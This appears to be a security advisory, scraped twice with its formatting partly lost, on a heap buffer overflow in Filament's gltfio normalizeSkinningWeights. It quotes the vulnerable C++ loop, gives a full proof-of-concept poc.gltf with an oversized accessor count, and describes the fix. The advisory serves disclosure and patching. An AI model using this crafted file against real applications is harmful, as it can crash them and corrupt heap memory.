Summary
A heap buffer overflow vulnerability exists in the normalizeSkinningWeights function of the gltfio library. The function does not validate the count property of a glTF accessor against the actual buffer size, allowing a maliciously crafted glTF file to trigger an out-of-bounds write on the heap.
Details
The vulnerability is in the normalize lambda in libs/gltfio/src/ResourceLoader.cpp, which trusts accessor->count (attacker-controlled via the .gltf JSON structure) without verifying it against the actual buffer size:
auto normalize = [](cgltf_accessor* data) {
// ...
uint8_t* bytes = (uint8_t*) data->buffer_view->buffer->data;
bytes += data->offset + data->buffer_view->offset;
// VULNERABILITY: data->count is attacker-controlled, no bounds check
for (cgltf_size i = 0, n = data->count; i < n; ++i, bytes += data->stride) {
float4* weights = (float4*) bytes;
const float sum = weights->x + weights->y + weights->z + weights->w;
*weights /= sum; // OOB write beyond allocated buffer
}
};
An attacker can craft a .gltf file with a small buffer (e.g., 16 bytes) but an accessor with an arbitrarily large count (e.g., 1,000,000) pointing to that buffer. This causes the normalizeSkinningWeights procedure to iterate far beyond the buffer's bounds, writing to unallocated heap memory.
Reproduction
- Create a malicious glTF file (
poc.gltf):
{
"asset": {"version": "2.0"},
"buffers": [{"byteLength": 16, "uri": "data:application/octet-stream;base64,AAAAAAEAAAACAAAAAwAAAA=="}],
"bufferViews": [{"buffer": 0, "byteOffset": 0, "byteLength": 16, "byteStride": 16}],
"accessors": [{"bufferView": 0, "byteOffset": 0, "componentType": 5126, "count": 1000000, "type": "VEC4"}],
"meshes": [{"primitives": [{"attributes": {"WEIGHTS_0": 0}}]}],
"nodes": [{"mesh": 0, "skin": 0}],
"skins": [{"joints": [0]}],
"scenes": [{"nodes": [0]}],
"scene": 0
}
-
Load this file in any application that uses Filament's gltfio with normalizeSkinningWeights = true (which is the default in gltf_viewer, Android ModelViewer.kt, Web viewer, etc.).
-
Result: Segmentation fault (heap out-of-bounds write).
Impact
- Denial of Service (DoS): Crash via segfault when processing malicious glTF files.
- Potential Code Execution: Heap memory corruption could be exploitable for arbitrary code execution.
- Attack Surface: Any application using Filament to load untrusted glTF files is affected, including Android apps using ModelViewer and web viewers.
Fix
A fix has been submitted in PR #8309. The patch adds:
- Null pointer validation for
buffer_view, buffer, and data pointers
- Offset validation to ensure accessor offset is within buffer bounds
- Safe count computation based on available buffer bytes and stride
- Clamping of accessor count with a warning log message
CWE
- CWE-122: Heap-based Buffer Overflow
Summary
A heap buffer overflow vulnerability exists in the
normalizeSkinningWeightsfunction of thegltfiolibrary. The function does not validate thecountproperty of a glTF accessor against the actual buffer size, allowing a maliciously crafted glTF file to trigger an out-of-bounds write on the heap.Details
The vulnerability is in the
normalizelambda inlibs/gltfio/src/ResourceLoader.cpp, which trustsaccessor->count(attacker-controlled via the.gltfJSON structure) without verifying it against the actual buffer size:An attacker can craft a
.gltffile with a small buffer (e.g., 16 bytes) but an accessor with an arbitrarily largecount(e.g., 1,000,000) pointing to that buffer. This causes thenormalizeSkinningWeightsprocedure to iterate far beyond the buffer's bounds, writing to unallocated heap memory.Reproduction
poc.gltf):{ "asset": {"version": "2.0"}, "buffers": [{"byteLength": 16, "uri": "data:application/octet-stream;base64,AAAAAAEAAAACAAAAAwAAAA=="}], "bufferViews": [{"buffer": 0, "byteOffset": 0, "byteLength": 16, "byteStride": 16}], "accessors": [{"bufferView": 0, "byteOffset": 0, "componentType": 5126, "count": 1000000, "type": "VEC4"}], "meshes": [{"primitives": [{"attributes": {"WEIGHTS_0": 0}}]}], "nodes": [{"mesh": 0, "skin": 0}], "skins": [{"joints": [0]}], "scenes": [{"nodes": [0]}], "scene": 0 }Load this file in any application that uses Filament's
gltfiowithnormalizeSkinningWeights = true(which is the default ingltf_viewer, AndroidModelViewer.kt, Web viewer, etc.).Result: Segmentation fault (heap out-of-bounds write).
Impact
Fix
A fix has been submitted in PR #8309. The patch adds:
buffer_view,buffer, anddatapointersCWE